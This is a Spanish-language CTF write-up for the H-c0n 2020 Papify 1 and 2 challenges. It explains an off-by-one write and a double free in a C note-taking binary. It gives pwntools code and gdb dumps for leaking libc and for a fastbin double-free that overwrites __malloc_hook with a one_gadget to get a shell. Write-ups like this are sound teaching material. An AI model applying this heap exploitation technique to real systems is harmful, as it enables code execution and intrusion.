Clasificatorio H-c0n 2020: Papify (1 y 2)#

Papify es un desafío de explotación en C/C++ en el que tenemos una imagen de Docker. El contenedor es básicamente lo que se ejecuta en la dirección proporcionada nc ctf.h-c0n.com 60003.

La mayoría de los pasos son comunes entre ambas versiones del desafío (v1 y v2), cambiando el método utilizado para la conseguir el leak de libc.

Recopilando información#

Esta es la estructura del archivo:


./papify2:
docker-compose.yml  Dockerfile  share  tmp  xinetd

./papify2/share:
chall  flag  pwn

./papify2/tmp:
Podemos empezar haciendo algunas comprobaciones rudimentarias al binario:

root@kali:~/h-c0n/papify2# file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1e551576dc15f52434e0cec761e25e5cb1e63120, for GNU/Linux 3.2.0, stripped
root@kali:~/h-c0n/papify2# checksec chall
[*] '/root/h-c0n/papify2/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Todo activado. El programa en sí tiene 4 opciones.


root@kali:~/h-c0n/papify2# ./chall

 /$$$$$$$   /$$$$$$  /$$$$$$$  /$$$$$$ /$$$$$$$$ /$$     /$$
| $$__  $$ /$$__  $$| $$__  $$|_  $$_/| $$_____/|  $$   /$$/
| $$  \ $$| $$  \ $$| $$  \ $$  | $$  | $$       \  $$ /$$/
| $$$$$$$/| $$$$$$$$| $$$$$$$/  | $$  | $$$$$     \  $$$$/  
| $$____/ | $$__  $$| $$____/   | $$  | $$__/      \  $$/                                           
| $$      | $$  | $$| $$        | $$  | $$          | $$                                            
| $$      | $$  | $$| $$       /$$$$$$| $$          | $$                                            
|__/      |__/  |__/|__/      |______/|__/          |__/                                            

Developed by Hackplayers. Version: FIXED (h-c0n quals 2020)                                         

Select an option:                                                                                   

        1. Add a paper                                                                              
        2. Fix a typo                                                                               
        3. Delete a paper                                                                           
        4. Print a paper                                                                            
        0. Exit                                                                                     

>>
Después de jugar un rato con el ejecutable o descompilarlo podemos darnos cuenta de que:

  • Solo hay 3 índices [0,1,2] que se pueden usar para almacenar documentos.
  • Aun así, podemos agregar un documento en el mismo índice muchas veces (es importante recordarlo después de descompilarlo).
  • Solo se puede corregir un carácter de un documento durante la ejecución.
  • Puede eliminar un documento muchas veces sin generar ningún error (es importante recordarlo después de la descompilación).
  • (* Solo Papify1 *) Se pueden leer documentos después de eliminarlos. Esto es lo que hace que Papify1 sea más fácil, al poder obtener el leak de libc casi sin esfuerzo.

Aparte, después de descompilar el archivo con ghidra, nos damos cuenta de:

  • Se utiliza calloc para asignar la memoria al contenido del documento y se rellena con un read.
  • Mirando el método fix_typo, podemos ver que en realidad puede editar un byte fuera de la memoria asignada debido al >=
    
    fwrite("Which typo do you want to fix?: ", 1uLL, 32uLL, stdout);
    scanf("%u", &v2);
    if ( paper_size[v1] >= v2 ) { // do edit
    
  • Lo único que memoria dinámica es el contenido de los documentos.
  • Agregar un documento en el mismo índice muchas veces en realidad sigue asignando nueva memoria sin liberar el puntero anterior, sin tener en cuenta si estaba usado.
  • Podemos liberar un puntero muchas veces eliminando el mismo documento una y otra vez porque el puntero en sí nunca se pone a null.
    
    fwrite("Paper's index: ", 1uLL, 0xFuLL, stdout);
    scanf("%u", &v1);
    if ( v1 <= 2 && paper_content[v1] )
    {
        free(paper_content[v1]);
        paper_size[v1] = 0;
        puts("Done.");
    }
    

Además, al configurar el contenedor y ejecutarlo podemos verificar su versión de libc obteniendo el archivo libc * .so en/ usr / lib / x86_64-linux-gnu /. En este caso lo guardamos como libc-cont(ainter):


#This does not properly mount the container but is enough to get libc.
docker build . -t papifytest -f Dockerfile
docker run -d -it -p 60003:8888 --name=papify2 papifytest
docker exec -it papify2 bash
# find /usr/ -name "libc-*.so"
docker cp papify2:/usr/lib/x86_64-linux-gnu/libc-2.29.so libc-cont.so

root@kali:~/h-c0n/papify2# ./libc-cont.so --version
GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.
Con toda esta información podemos comenzar a preparar el ataque.

Tcache, calloc, double frees y una advertencia#

Algunas ideas básicas necesarias para entender el proceso de explotación:

  • Tcache es un mecanismo introducido en libc 2.26 para mejorar el rendimiento mientras * recupera * fragmentos de memoria liberados. Puede almacenar hasta 7 trozos para cada tamaño.More info, traducción aproximada pero bastante completa, utilizar idioma chino para ver la tabla de contenido.
  • calloc NO recupera chunks de Tcache.
  • Liberar el mismo puntero dos veces lleva a un comportamiento indefinido.
  • En el exploit del final, la mayoría de los offset están hardcodeados porque los obtuvimos directamente de gdb.

Leaking libc (Papify1)#

Obtener el leak de la dirección de libc en Papify1 podría hacerse aprovechando el hecho de que podemos leer un documento después de eliminarlo (liberarlo). Cuando haces free() de un fragmento, el resultado varía dependiendo de si dicho fragmento entra en tcache o se va fuera. Si entra en tcache, no obtenemos ninguna información útil. Así que llenamos el tcache con 7 trozos para forzar a que el octavo se vaya fuera. Dado que solo tenemos 3 punteros al mismo tiempo (3 documentos diferentes), sería imposible con malloc, pero calloc no reutiliza fragmentos de tcache, por lo que podemos hacer:


for i in range(7):
	add(2, 128, "A"*128)
	free(2)

add(0, 128, "B"*128)
add(1, 128, "C"*128)
free(0)
free(1)

show(0)
leak = p.recv(6) + '\x00\x00'
#have to pad it with some zeroes
How does it look in gdb?

0x55b25c4b5640: 0x4141414141414141      0x4141414141414141 <- "AAAAAAAAAAA"
0x55b25c4b5650: 0x0000000000000000      0x0000000000000091
0x55b25c4b5660: 0x00007f45e72daca0      0x00007f45e72daca0 <- leak
0x55b25c4b5670: 0x4242424242424242      0x4242424242424242 <- "BBBBBBBBBBB"
----------------------------------------------------------------------------------------------
0x7f45e72dac90 <main_arena+80>: 0x0000000000000000      0x0000000000000000
0x7f45e72daca0 <main_arena+96>: 0x000055b25c4b5770      0x0000000000000000 <- our leaked direction
0x7f45e72dacb0 <main_arena+112>:0x000055b25c4b5650      0x000055b25c4b5650
Estamos en main_arena + 96, desde ahí podemos obtener la dirección relativa de libc usando la librería pwntools:

libc = ELF('./libc-cont.so')
libcDir = u64(leak) - libc.sym['__malloc_hook'] - 16 - 96
#Since we don't have a main_arena sym, just use __malloc_hook which is right above
#another 16 on top of the 96

Leaking libc (Papify2)#

En esta versión no podemos leer un paper después de borrarlo, por lo que tendremos que utilizar otra aproximación para obtener el leak de libc. Para ello usaremos la opción de editar un documento, aunque estamos limitados a un solo carácter y una sola vez. Dado que podemos sobrescribir un carácter después del final de nuestra memoria reservada, en la práctica significa que podemos sobrescribir el campo “tamaño” del siguiente fragmento si nos ubicamos correctamente. No olvides llenar la tcache para que ‘calloc’ pueda reutilizar el fragmento liberado:


for i in range(7):
	add(2, 128, "7"*128)
	free(2)

add(0, 24, "A"*24)
add(1, 128, "B"*128)
add(2, 24, "C"*24)
free(1)
fix_typo(0, 24, '\x93')
add(1, 128, "d"*7) #add uses p.sendlineafter() which appends a "\n"

p.sendlineafter('>> ', '4')
p.sendlineafter('Paper\'s index: ', "1")
p.recvuntil('d' * 7 + '\n')
leak = p.recv(6) + '\x00\x00'
Ok, let’s see what happens in memory in gdb right after free(1) :

0x55f7e5d47650: 0x0000000000000000      0x0000000000000021
0x55f7e5d47660: 0x4141414141414141      0x4141414141414141 <- "AAAAAAAAA"
0x55f7e5d47670: 0x4141414141414141      0x0000000000000091
0x55f7e5d47680: 0x00007f695a510ca0      0x00007f695a510ca0 <- the dir we want, but
0x55f7e5d47690: 0x4242424242424242      0x4242424242424242    if we calloc again it
0x55f7e5d476a0: 0x4242424242424242      0x4242424242424242    will be set to 0
0x55f7e5d476b0: 0x4242424242424242      0x4242424242424242
0x55f7e5d476c0: 0x4242424242424242      0x4242424242424242 <- "BBBBBBBBB"
0x55f7e5d476d0: 0x4242424242424242      0x4242424242424242
0x55f7e5d476e0: 0x4242424242424242      0x4242424242424242
0x55f7e5d476f0: 0x4242424242424242      0x4242424242424242
0x55f7e5d47700: 0x0000000000000090      0x0000000000000020
0x55f7e5d47710: 0x4343434343434343      0x4343434343434343 <- "CCCCCCCCC"
0x55f7e5d47720: 0x4343434343434343      0x000000000001f8e1
0x55f7e5d47730: 0x0000000000000000      0x0000000000000000
Más información sobre los fragmentos liberados y sus flags. 0x0000000000000091 es el tamaño de nuestro fragmento liberado. Si ponemos el 91 en binario es 10010001. El segundo bit menos significativo le dice a nuestro programa si el fragmento está mapeado y si calloc no debe borrar su contenido antes de usarlo. Es bastante conveniente que esté ubicado justo después del final de nuestro fragmento anterior (es importante obtener los tamaños correctos para que sean consecutivos en memoria). Solo necesitamos la edición para establecer ese bit con nuestra función de edición, por lo que enviamos un 0x93 (100100 ** 1 ** 1) en la posición 24.


0x55f7e5d47660: 0x4141414141414141      0x4141414141414141 <- "AAAAAAAAA"
0x55f7e5d47670: 0x4141414141414141      0x0000000000000093 <- looks like it worked
0x55f7e5d47680: 0x00007f695a510ca0      0x00007f695a510ca0
0x55f7e5d47690: 0x4242424242424242      0x4242424242424242
0x55f7e5d476a0: 0x4242424242424242      0x4242424242424242
0x55f7e5d476b0: 0x4242424242424242      0x4242424242424242
0x55f7e5d476c0: 0x4242424242424242      0x4242424242424242 <- "BBBBBBBBB"
Y ahora simplemente reasignamos, pero como no podemos enviar un mensaje vacío (al menos pasa la nueva línea), enviaremos 7 caracteres de relleno y la nueva línea.

0x55f7e5d47650: 0x0000000000000000      0x0000000000000021
0x55f7e5d47660: 0x4141414141414141      0x4141414141414141 <- "AAAAAAAAA"
0x55f7e5d47670: 0x4141414141414141      0x0000000000000091
0x55f7e5d47680: 0x0a64646464646464      0x00007f05169a4ca0 <- look at that, the calloc
0x55f7e5d47690: 0x4242424242424242      0x4242424242424242    didn't smash our chunk
0x55f7e5d476a0: 0x4242424242424242      0x4242424242424242    
0x55f7e5d476b0: 0x4242424242424242      0x4242424242424242
0x55f7e5d476c0: 0x4242424242424242      0x4242424242424242 <- "BBBBBBBBB"
0x55f7e5d476d0: 0x4242424242424242      0x4242424242424242
0x55f7e5d476e0: 0x4242424242424242      0x4242424242424242
0x55f7e5d476f0: 0x4242424242424242      0x4242424242424242
0x55f7e5d47700: 0x0000000000000090      0x0000000000000020
0x55f7e5d47710: 0x4343434343434343      0x4343434343434343 <- "CCCCCCCCC"
0x55f7e5d47720: 0x4343434343434343      0x000000000001f8e1
0x55f7e5d47730: 0x0000000000000000      0x0000000000000000
Ahora solo nos falta leer el documento, descartamos el relleno y la nueva línea y tenemos nuestro leak, para quedar en el mismo punto que con Papify 1.

libc = ELF('./libc-cont.so')
libcDir = u64(leak) - libc.sym['__malloc_hook'] - 16 - 96
#Since we don't have a main_arena sym, just use __malloc_hook which is right above
#another 16 on top of the 96
Durante el CTF tuvimos un problema al obtener el desplazamiento porque estábamos enviando add (1, 128," d "* 7 +" \ n ") sin tener en cuenta que nuestro método add realmente agregaría otra nueva línea al final , modificando la fuga que recibimos y provocando un desplazamiento extraño obtenido con gdb (puedes echarle un ojo al código del CTF al final del writeup).

Consiguiendo la ansiada shell#

Usaremos One_Gadget en la función __malloc_hook para obtener una shell dado que parece la forma más directa de conseguir RCE por las protecciones que tiene habilitadas el binario. Como alternativa podríamos intentar hacer que __free_hook apuntara a system.


root@kali:/media/sf_hckon/papify2/share# one_gadget libc-cont.so
0xe237f execve("/bin/sh", rcx, [rbp-0x70])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe2383 execve("/bin/sh", rcx, rdx)
constraints:
  [rcx] == NULL || rcx == NULL
  [rdx] == NULL || rdx == NULL

0xe2386 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

0x106ef8 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
Con el one_gadget listo, podemos empezar.

Nuevamente, llenamos la tcache antes de comenzar. Dado que, a partir de la versión 2.29, calloc no reutiliza la tcache, podemos seguir adelante y hacer un “fastbin double free attach” [descrito aquí en detalle] (https://0x00sec.org/t/heap-exploitation-fastbin-attack/3627). En el ataque descrito no tiene RELRO completo como en este; pero, tal como dice, aun así podemos utilizar __malloc_hook.

Solo necesitamos encontrar una dirección apropiada por encima de __malloc_hook donde podamos meter nuestro fragmento. Vamos a ver qué podemos encontrar por ahí con gdb:


0x7f0748abcbe0 <_IO_wide_data_0+256>:   0x0000000000000000      0x0000000000000000
0x7f0748abcbf0 <_IO_wide_data_0+272>:   0x0000000000000000      0x0000000000000000
0x7f0748abcc00 <_IO_wide_data_0+288>:   0x0000000000000000      0x0000000000000000
0x7f0748abcc10 <_IO_wide_data_0+304>:   0x00007f0748abe020      0x0000000000000000
0x7f0748abcc20 <__memalign_hook>:       0x00007f0748989e20      0x00007f074898a4e0
0x7f0748abcc30 <__malloc_hook>: 0x0000000000000000      0x0000000000000000
0x7f0748abcc40 <main_arena>:    0x0000000000000000      0x0000000000000001
Mala suerte, necesitamos algo de un tamaño similar a nuestros fragmentos existentes, por lo que la comprobación del tamaño, una dirección con contenido 0x000000000000007f sería perfecta. A menos que podamos usar memoria no alineada. Vamos a mover esto un poco:

0x7f0748abcbed <_IO_wide_data_0+269>:   0x0000000000000000      0x0000000000000000
0x7f0748abcbfd <_IO_wide_data_0+285>:   0x0000000000000000      0x0000000000000000
0x7f0748abcc0d <_IO_wide_data_0+301>:   0x0748abe020000000      0x000000000000007f
0x7f0748abcc1d: 0x0748989e20000000      0x074898a4e000007f
0x7f0748abcc2d <__realloc_hook+5>:      0x000000000000007f      0x0000000000000000
0x7f0748abcc3d: 0x0000000000000000      0x0000000001000000
0x7f0748abcc4d <main_arena+13>: 0x0000000000000000      0x0000000000000000
Esto parece más prometedor. Veamos dónde está 0x7f0748abcc30 (_malloc_hook) - 0x7f0748abcc0d = 0x23, por lo que solo tenemos que restarlo de la posición _malloc_hook.


fakeChunk = libcDir + libc.sym['__malloc_hook'] - 0x23
oneGadget = libcDir + 0x106ef8

for i in range(7):
	add(2, 96, "R"*96)
	free(2)

add(0, 96, "S"*96)
add(1, 96, "T"*96)
free(0)
free(1)
free(0)
add(1, 96, p64(fakechunk) + "U"*88)
add(1, 96, "X"*96)
add(1, 96, "Y"*96)
add(0,96, 'i' * 19 + p64(oneGadget))
p.interactive()
add(2,1,'Open sesame.') # we can do this step manually for extra satisfaction.

Después de agregar cualquier papel, el __malloc_hook se activará y tendremos shell. Un cat flag y hemos acabado.

Versión limpia del script para v2.

Container libc

Exploit real de CTF con demasiadas cosas hardcodeadas